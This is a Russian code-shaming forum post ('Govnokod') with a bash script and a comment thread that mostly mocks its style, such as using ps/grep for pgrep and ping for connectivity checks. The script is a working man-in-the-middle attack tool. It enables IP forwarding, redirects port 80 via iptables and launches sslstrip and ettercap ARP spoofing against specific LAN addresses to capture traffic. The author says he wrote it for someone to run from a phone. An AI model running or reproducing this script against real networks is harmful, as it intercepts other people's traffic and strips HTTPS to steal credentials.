1. bash / Говнокод #14839

    −129

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    #!/bin/bash
    FILE="/proc/sys/net/ipv4/ip_forward"
    echo "Время		Наименование				Статус" >> /tmp/for_log.list
    echo "______________________________________________________________" >> /tmp/for_log.list
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    IP_FORWARD(){
    while true; do
    
    CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
    if [ "$CT_FORWARD" = 1 ] ;then
    	echo > /dev/null
    else
    	echo "1" > $FILE
    fi
    #sleep 3
    done
    }
    
    CON_ETHERNET(){
    	while true; do
    	echo $(date +%H:%M:%S)"	Проверка интернет соединения		в обработке"  >> /tmp/for_log.list
    	ping -c 3 ya.ru > /dev/null
    		if [ $? = "0" ];then
    			echo $(date +%H:%M:%S)"	Подключение к интернет			есть" >> /tmp/for_log.list
    			START_SNIFFIG
    		else
    			echo $(date +%H:%M:%S)"	Нет интернет подключение		fail" >> /tmp/for_log.list
    			if [ "`ps sx | grep sslstrip | grep -v grep  | awk '{ print $10; }'`" = "sslstrip" ];then
    				$POSE=`ps sx | grep sslstrip | grep -v grep  | awk '{ print $2; }'`
    				kill -9 $POSE >rpmlist 2> /dev/null
    				echo "Процесс sslstrip... убит"
    				echo $(date +%H:%M:%S)"	Процесс sslstrip	убит" >> /tmp/for_log.list
    				else
    				echo > /dev/null
    			fi
    			if [ "`ps sx | grep tcpdump | grep -v grep  | awk '{ print $10; }'`" = "tcpdump" ];then
    				kill -9 `ps all | grep ettercap | grep -v grep  | awk '{ print $3; }'` >rpmlist 2> /dev/null
    				echo
    				echo "Процесс ettercap... убит"
    				echo $(date +%H:%M:%S)"	Процесс ettercap		убит" >> /tmp/for_log.list
    				kill -9 `ps all | grep sslstrip | grep -v grep  | awk '{ print $2; }'` >rpmlist 2> /dev/null
    				echo
    				echo "Процесс sslstrip... убит"
    				echo $(date +%H:%M:%S)"	Процесс sslsrip			убит" >> /tmp/for_log.list
    				else
    				echo > /dev/null
    			fi
    		fi
    		sleep 120
    	done
    }
    
    START_SNIFFIG(){
    	#Проверяем, запущен ли уже сниффер
    	sleep 4
    	CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
    		if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
    			echo $(date +%H:%M:%S)"	Процесс sslstrip	 	включен" >> /tmp/for_log.list
    			echo > /dev/null
    		else
    			#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L  $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
    			echo $(date +%H:%M:%S)"	Включаю sslstrip			включен успешно" >> /tmp/for_log.list
    			sslstrip -a -f & 
    		fi
    	CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
    		if [ "$CHECK_ETTERCAP" = "ettercap" ];then
    			echo $(date +%H:%M:%S)"	Процесс ettercap	 		включен" >> /tmp/for_log.list
    			else
    			echo $(date +%H:%M:%S)"	Включаю etttercap			включен успешно" >> /tmp/for_log.list
    			ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd  /192.168.1.1/ /192.168.1.102/ &
    		fi
    	}
    	
    IP_FORWARD & CON_ETHERNET

    1. Проверяет интернет соединение
    2. При наличии инета врубает sslstrip и ettercap
    3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
    ___________
    Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи

    Запостил: MassEnjoy, 23 Февраля 2014

    Комментарии (49) RSS

    • 'echo > /dev/null' - many faces of the /bin/true
      Ответить
    • > `ps sx | grep sslstrip | grep -v grep | awk '{ print $2; }'`

      о. автор еще и про pgrep/pkill не знает.
      Ответить
      • pgrep ставить надо. У меня на бубунте из коробки не установлен, например. :с
        Ответить
        • это очень странно.

          на дебиане это часть procps - того же самого пакаджа в котором находятся ps и top.
          Ответить
      • И про pid файлы. Имхо, проще pid в файл сохранить, да убивать по нему, чем париться с поиском процесса по имени...
        Ответить
        • проблема что пид файл кто-то должен еще и удалить, когда процесс завершается. и все равно надо проверять валидность пид файла - на случай если файл не был удален. другими словами: даже с пид файлом ты не можешь избегаешь проверки что процесс запущен или нет.
          Ответить
          • > даже с пид файлом ты не можешь избегаешь проверки что процесс запущен или нет
            Ну там даже не только что запущен... А еще и то, что этот pid ссылается на нашу прогу, а не на что-то левое (я проверял по /proc/$pid/exe).

            Ну либо, как я тоже делал - запускать через обертку, которая удаляет pid. Если обертку убили руками через kill -9 - ССЗБ, будет ругаться, что процесс уже запущен. Если комп крашнулся - при старте оси подчищаются все pid'ы, один хрен они уже бесполезны.

            Но зато с пидом можно без проблем запускать два инстанса проги. А при убийстве по имени - с вероятностью 50% убьет не ту.
            Ответить
    • показать все, что скрыто
      Ответить
    • ЗаноВо.
      Ответить
    • Проверка наличия инета через ping ya.ru. Классика жанра.
      Ответить
      • Ну а как еще проверить наличие инета? Ну разве что хттп запрос на тот же самый ya.ru кинуть. А ya.ru т.к. название короткое и сервак стабильный.
        Ответить
        • ага, как гуглить так в гугле, а как пинговать - так яндекс

          ps. вместо тормозного ping лучше брать fping
          Ответить
          • Ну ок, уговорил, можно пинговать goo.gl или 8.8.8.8 :)

            > ps. вместо тормозного ping лучше брать fping
            Ну тут же не сетку из дохера адресов сканить, а всего один хост пнуть. Тормоза и не заметишь.
            Ответить
            • В сраной рашке айпишники Гугла периодически попадают в бан за пропаганду гомосексуализма, так что отсутствие пинга гугловских адресов — ещё не показатель отсутствия доступа в Интернет.
              Ответить
              • У них даже на паблик прокси пидрилы? Пингуй https://duckduckgo.com/
                Ответить
            • 3 секунды то?
              вполне заметно
              ping нечего делать в скриптах, зачем спорить
              (ну разве что как охуенная замена sleep в непревзойденном cmd.exe)
              Ответить
              • >> замена sleep в непревзойденном cmd.exe
                Тов. Бабушкинд так делал. А если учесть, что пинговал он mail.ru, прогу его можно считать орудием ddos )
                Ответить
                • Пинговать mail.ru для паузы? Ну ё.
                  Ответить
                  • Нет. Оно же пингуется, и пауза будет кривой ;) Для паузы вроде бы пинговали несуществующие айпишки.
                    Ответить
                    • Не будет.
                      Ответить
                      • > Не будет.
                        Почему?
                        Ответить
                        • Как ответ на пинг влияет на паузу между пингами?
                          Ответить
                          • Он увеличивает время исполнения ping'а - время сложится из паузы и собственно пинга. А если не пинганется - то получим паузу вдвое больше чем надо. Пинг несуществующей айпишки одним пакетом более точен.

                            Хотя всем похуй, кому нужна эта точность ;)
                            Ответить
                            • С фига он увеличивает? Пауза разве отсчитывается от прихода ответа?
                              Ответить
                              • Выход из пинга отсчитывается от прихода ответа. После последнего пинга же нет паузы.

                                Вот и получится время_паузы * (число_пакетов - 1) + время_пинга.

                                А на заведомо дохлом адресе - таймаут * число_пакетов.

                                Таймаут это то, что задано -w, по дефолту что-то около 5-10.

                                Время паузы вроде и не настраивается никак, секунда. И хуй бы ее знал, отсчитывается она от ответа или от старта предыдущего пакета.
                                Ответить
                              • В общем если пинг юзать для приостановки скрипта, то важно полное время его работы - от запуска до выхода.

                                И если пинговать заведомо дохлый адрес - получится w * n + погрешность на поднятие-опускание процесса.

                                Еслиже пинговать живой сервер - получим че-то типа 1*(n-1) + пинг + поднятие, что на порядок рандомней.

                                Запустил бы уже давно, да сам посмотрел бы, чем тут спорить неделями...
                                Ответить
                                • >что на порядок рандомней.
                                  Обычно делают паузу на >10 сек, там рандомдность будет незначительной (если прописать -w 1000).

                                  Пинг юзаю уже давно. Жалко, на винде нету time.
                                  Ответить
                                  • > рандомдность будет незначительной
                                    Ну да, как я и писал выше, всем похуй ;)

                                    > Жалко, на винде нету time.
                                    Ага, тоже его всегда не хватает.
                                    Ответить
                                    • Как это нету time?

                                      time /?
                                      Вывод или изменение времени.
                                      
                                      TIME [/T | время]
                                      
                                      Введите TIME без параметров для вывода текущего времени и запроса на ввод
                                      нового времени.  Нажмите клавишу ENTER для сохранения текущего времени.
                                      
                                      Когда расширенная обработка команд включена, команда TIME поддерживает
                                      ключ /T, позволяющий просто вывести текущее значение времени без запроса
                                      нового времени.
                                      Ответить
                                    • На то, что ты написал - действительно похуй, я так понял, что ты сомневался, что пауза между пингами зависит от ответа на запрос если таймаут 1с.
                                      Ответить
              • > 3 секунды то?
                Ну откуда 3 секунды то? Сколько поставишь, столько и будет:
                $ time ping 1.1.1.1 -c 1 -W 1
                PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
                --- 1.1.1.1 ping statistics ---
                1 packets transmitted, 0 received, 100% packet loss, time 0ms
                real    0m1.002s
                user    0m0.000s
                sys     0m0.000s
                Ну разве что время резольва адреса сюда не включается, и создает дополнительный тупняк секунд на 10:
                $ time ping bububu.com -c 1 -W 1
                ping: unknown host bububu.com
                real    0m10.011s
                user    0m0.000s
                sys     0m0.000s
                > ping нечего делать в скриптах
                Если скрипт это делает в фоне раз в десяток минут, то кого, прости, ебут эти 3 секунды?

                У пинга один недостаток - парсить выхлоп неудобно, по сравнению с fping'ом.
                Ответить
                • > откуда 3 секунды
                  ping -c 3 ya.ru > /dev/null
                  оттуда
                  Ответить
                  • > -с 3
                    Ок, ты победил. Тут 3 секунды.
                    Ответить
                  • Я просто юзал не совсем так. Я делал пинг каждые N минут. И если M раз подряд не было ответа - считал что коннект пропал. Поэтому одной пробы на попытку вполне хватало.

                    Ну и если скрипт работает раз в N минут, то эти 3-10 секунд погоды не делают.
                    Ответить
        • А если так:
          function IsConnectedToInternet: Boolean;
          var
            dwConnectionTypes: DWORD;
          begin
            dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
            Result := InternetGetConnectedState(@dwConnectionTypes, 0);
          end;
          Ответить
          • А х.з. В доке по этой функции не сказано как именно она проверяет наличие инета.

            Если просто смотрит, что есть активное подключение - не вариант: вдруг там дальше мертвый роутер. Если реально пробует куда-то подключиться - все ок, сойдет.
            Ответить
            • Да не просто смотрит какое соединение установлено.
              ИМХО самый верный способ через wget ну или самому пытаться что нибудь слить с инета.
              Пинг может не прокатить у нас например на работе ICMP наружу не ходят хз почему.
              Ответить
          • предлагаешь баловаться винцом?
            Ответить
    • показать все, что скрытоВсем, блядям, по минусу.
      Ответить

    Добавить комментарий